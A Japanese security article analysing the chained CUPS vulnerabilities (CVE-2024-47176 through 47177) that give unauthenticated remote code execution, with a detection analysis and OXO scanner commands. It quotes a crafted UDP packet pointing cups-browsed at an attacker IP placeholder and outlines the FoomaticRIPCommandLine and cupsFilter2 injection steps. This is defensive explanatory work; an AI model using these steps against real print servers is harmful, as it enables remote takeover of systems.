CUPSの脆弱性の大規模な露出を評価する:リモートコード実行につながる連鎖したCVE
本記事では、連鎖させることで認証なしのリモートコード実行(RCE)を実現できる、CUPS印刷サービスに影響する複数のCVEへのシステムの大規模な露出を評価します。CVE-2024-47176を含むこれらの脆弱性がどのように連携するかの概要を示し、エクスプロイトの流れをたどります。さらに、どれだけのシステムが脆弱となり得るかを分析し、テスト中に観測された特異な挙動を取り上げます。
はじめに
Common UNIX Printing System(CUPS)は広く使われている印刷システムで、ネットワーク接続されたコンピューターが印刷ジョブとプリンターを滞りなく管理できるようにします。最近、研究者のSimone Margaritelli氏が目覚ましい研究を行い、複数のCVEを発見し、それらをうまく連鎖させて対象システム上で認証なしのリモートコード実行(RCE)を実現しました。この研究の詳細はSimone Margaritelli氏の記事で読めます。
本記事では、エクスプロイトのワークフローを分解し、特定のサンプルのターゲットのうち脆弱なシステムの割合を分析します。
技術的な詳細
CUPSでRCEを実現する
このセクションでは、リモートコード実行(RCE)を実現するためのさまざまなステップを概説し、異なるCVEがどのように関わってくるかを説明します。
-
CVE-2024-47176:出発点:
cups-browsedとBrowseSocket:攻撃は
cups-browsedサービスから始まります。このサービスは、ネットワーク上のプリンターを発見し、それらを自動的にシステムに追加する役割を担っています 。このサービスは
BrowseSocketと呼ばれるソケットを作成し、INADDR_ANY:631 UDPでプリンター情報を含む受信パケットを待ち受けます 。
次のステップは、
BrowseSocketがどこで使われているかを特定することです。調査の結果、関数process_browse_dataが鍵となる場所として浮かび上がります。process_browse_data()は、BrowseSocketからパケットを読み取る役割を担っています。受信するデータが特定の形式に従っていることを前提としています。HEX_NUMBER HEX_NUMBER TEXT_DATAパケットを受信した後、この関数は送信元のIPアドレスがデータの送信を許可されているかどうかを確認します。これはallowed()関数によって行われ、/etc/cups/cups-browsed.confにある設定ファイルと照合してIPアドレスを検証します。このファイルは、どのホストが接続してデータを送信することを許可されているかを定義します。
ところが、/etc/cups/cups-browsed.conf設定ファイルを編集することで誰が接続できて誰ができないかを設定できるにもかかわらず、ほとんどのシステムのデフォルト設定は完全にコメントアウトされていることが分かりました。これは、管理者が明示的にアクセスを制限しない限り、システムは任意のIPアドレスからの接続に対して開かれたままになることを意味します。その結果、
allowed()チェックは常に成功し、システムはあらゆる送信元からの潜在的な悪用に対して脆弱なまま残されます。送信元IPのチェックを通過すると、パケットが解析され、2つのフィールドがさらなる処理のために
found_cups_printer()関数に渡されます。 -
CVE-2024-47076:悪意のあるURIの注入と悪用:
パケットから解析される2つのフィールドのうちの1つが、プリンターのURIです。

このパラメーターがどのように使われ、異なる関数を通じて渡されるかを追跡する:
found_cups_printerを起点として、URIはexamine_discovered_printer_record()関数に渡されます。この関数はそれをcreate_remote_printer_entry()に渡します。この一連の関数呼び出しは、最終的にlibcupsfiltersライブラリのcfGetPrinterAttributes()へとつながります。
cfGetPrinterAttributes()関数は、プリンターの詳細を取得するために、提供されたプリンターURIにHTTPリクエストを行う役割を担っています。
この時点で、悪意のある攻撃者は、次のような悪意のあるURIを埋め込んだ、特別に細工したUDPパケットをポート631に送信できます。
0 3 http://<ATTACKER-IP>:<PORT>/printers/whateverこのパケットは脆弱な検証を回避し、
cups-browsedに攻撃者が制御するURLへ接続を返させます。
-
CVE-2024-47175:攻撃者の悪意のあるIPP属性とPPDファイルの作成:
攻撃者のサーバーが、正規のプリンターの機能を装うよう細工されたIPP属性を含むレスポンスを送信すると、
cups-browsedはこれらの属性を処理します。これはcreate_queue()関数を呼び出すことで行われ、その関数はさらにlibppdライブラリのppdCreatePPDFromIPP2()APIを呼び出します。このAPIは、受信した属性が保存される一時的なPPD(PostScript Printer Description)ファイルを作成する役割を担っています。PostScript Printer Descriptionファイルは、プリンターベンダーが提供するテキストファイルで、特定のPostScriptプリンターで利用できる機能とケイパビリティの全体を記述します。これらのファイルは複数の機能を果たします。
- プリンターがサポートする解像度、用紙サイズ、特殊機能(例:両面印刷)を含め、印刷ジョブで機能を呼び出す方法を定義します。
- PPDは、CUPSシステムが製造元を問わずさまざまなプリンターとやり取りするための標準化された方法を提供することで、PostScriptプリンターのドライバーとして機能します。
- PPDには、印刷ジョブで機能を呼び出すために使われるPostScriptコード(コマンド)も含まれています。


ppdCreatePPDFromIPP2()関数は、攻撃者が制御するIPP属性を、何のサニタイズもせずに直接PPDファイルに書き込みます。
-
CVE-2024-47177:CUPSフィルターの悪用:
PPDファイルに保存される属性を設定できるようになったので、印刷ジョブの処理時に特定のコマンドを実行するようCUPSに指示できます。
CUPSはこれらの属性を通じてさまざまな命令をサポートしており、その中で悪用できるものの1つが
cupsFilter2です。フィルターとは、
/usr/lib/cups/filterディレクトリにある実行可能ファイルです。CUPSはフィルターの実行をこのディレクトリに制限しています。つまり、任意のバイナリを指定することはできません。これらのフィルターは、印刷ジョブがプリンターに送信されたときに実行され、通常は、プリンターがドキュメントの形式をネイティブにサポートしていない場合にドキュメント変換を行います。実行できるバイナリに関するこの制約を踏まえると、目標は既存のフィルターの1つを悪用して任意のコマンドを実行することになります。
foomatic-ripフィルターの悪用:攻撃者にとって幸いなことに、
foomatic-ripという1つのフィルターは、古いコマンド実行の欠陥CVE-2011-2964およびCVE-2011-2697に対して依然として脆弱でした。このフィルターはPPDファイル内のFoomaticRIPCommandLineディレクティブを受け付けており、それを通じてあらゆるコマンドを実行できました。この脆弱性を悪用することで、攻撃者はPPDファイルに
FoomaticRIPCommandLineディレクティブを注入でき、それによってCUPSは印刷ジョブの処理中に任意のコマンドを実行してしまいます。この攻撃を実行するには、次のステップが必要です。
- 対象マシンを悪意のあるIPPサーバーに接続させる:最初のステップは、対象マシンを、攻撃者が制御する不正なIPPサーバーと通信させることです。
- 悪意のあるIPP属性文字列を返す:
"https://www.example.com/"のような偽のポリシーURLを持つprinter-privacy-policy-uri属性を注入し、その後に文字列を終端するための改行を続けます。- 対象マシン上でコマンドを実行するために、ディレクティブ
FoomaticRIPCommandLine: "COMMAND"を追加します。 cupsFilter2ディレクティブ"application/pdf application/vnd.cups-postscript 0 foomatic-rip"を含めます。これにより、印刷ジョブが送信されたときに、注入されたコマンドを伴うfoomatic-ripフィルターの実行がトリガーされることが保証されます。
- 実行のトリガー:悪意のあるプリンターに印刷ジョブが送信されると、注入されたPPDディレクティブが実行され、攻撃を完了できます。
大規模なCUPS脆弱性評価:検出と分析
大規模な評価を実施する前に、当社は当初、CUPSサービスのUDPポート、具体的にはBrowseSocketによって開かれるポートを使ってCUPSサービスをフィンガープリントすることを目指していました。このソケットはINADDR_ANY:631 UDPで待ち受けており、このポートにリクエストを送信することでCUPSを実行しているシステムを特定できると考えていました。しかし、手動であれNmapのようなツールを使う場合であれ、テスト中にCUPSサーバーからの応答を得ることはできませんでした。
なぜ応答が得られないのかを調べるために、当社はCUPSのソースコードを調査し、クライアントにデータを送り返す関数に注目しました。この探索の中で、応答の送信に使われるsendto関数を特定しました。
当社は、応答の送信を担うsendto関数を探しました。

send_browse_dataによって呼び出されるbroadcast_browse_packets関数の中で使われていることが分かりました。

send_browse_dataはmain関数で呼び出されるものの、特定の条件if (BrowseLocalProtocols & BROWSE_CUPS)が満たされた場合にのみ発生することが分かりました。

BrowseLocalProtocolsのデフォルト値を確認したところ、noneに設定されていることが分かり、条件が決して満たされないことを意味していました。これが、当社のUDPフィンガープリンティングの試みに応答が返ってこなかった理由を説明します。


OXOを使った脆弱性のテスト
自社のインスタンスが脆弱かもしれないと懸念している場合は、次の手順に従ってOXOツールを使ったテストを実行してください。
pip経由でOXOをインストールします。
pip install -U ostorlab
OXOのエージェントストアからasteroidエージェントをインストールします。
oxo agent install agent/ostorlab/asteroid
次のコマンドで、asteroidエージェントを使ってスキャンを実行します。
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET